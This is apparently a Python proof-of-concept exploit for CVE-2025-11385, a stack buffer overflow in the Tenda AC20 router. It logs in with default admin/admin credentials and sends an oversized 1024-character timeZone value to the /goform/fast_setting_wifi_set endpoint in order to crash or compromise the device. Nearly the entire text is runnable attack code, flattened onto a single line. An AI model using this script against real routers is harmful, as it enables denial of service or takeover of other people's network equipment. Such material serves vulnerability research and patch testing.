CVE-2025-11385

# CVE-2025-11385 PoC - Tenda AC20 Buffer Overflow in sscanf (timeZone parameter) # Target: /goform/fast_setting_wifi_set # Vulnerability: Stack buffer overflow via sscanf on timeZone argument import requests TARGET_HOST = "http://192.168.0.1" USERNAME = "admin" PASSWORD = "admin" def exploit(): # Step 1: Login to obtain session cookie session = requests.Session() login_url = f"{TARGET_HOST}/login/Auth" login_data = { "username": USERNAME, "password": PASSWORD } resp = session.post(login_url, data=login_data, timeout=10) print(f"[+] Login response: {resp.status_code}") # Step 2: Craft malicious timeZone payload to trigger buffer overflow in sscanf # Overflow payload: 'A' * N to overwrite stack buffer overflow_payload = "A" * 1024 # Adjust length based on buffer size # Step 3: Send exploit request to vulnerable endpoint exploit_url = f"{TARGET_HOST}/goform/fast_setting_wifi_set" exploit_params = { "timeZone": overflow_payload, # Additional parameters may be required depending on firmware version } try: resp = session.post(exploit_url, data=exploit_params, timeout=10) print(f"[+] Exploit response: {resp.status_code}") print(f"[+] Response body: {resp.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed (possible crash): {e}") print("[+] Device may be compromised or crashed") if __name__ == "__main__": exploit()

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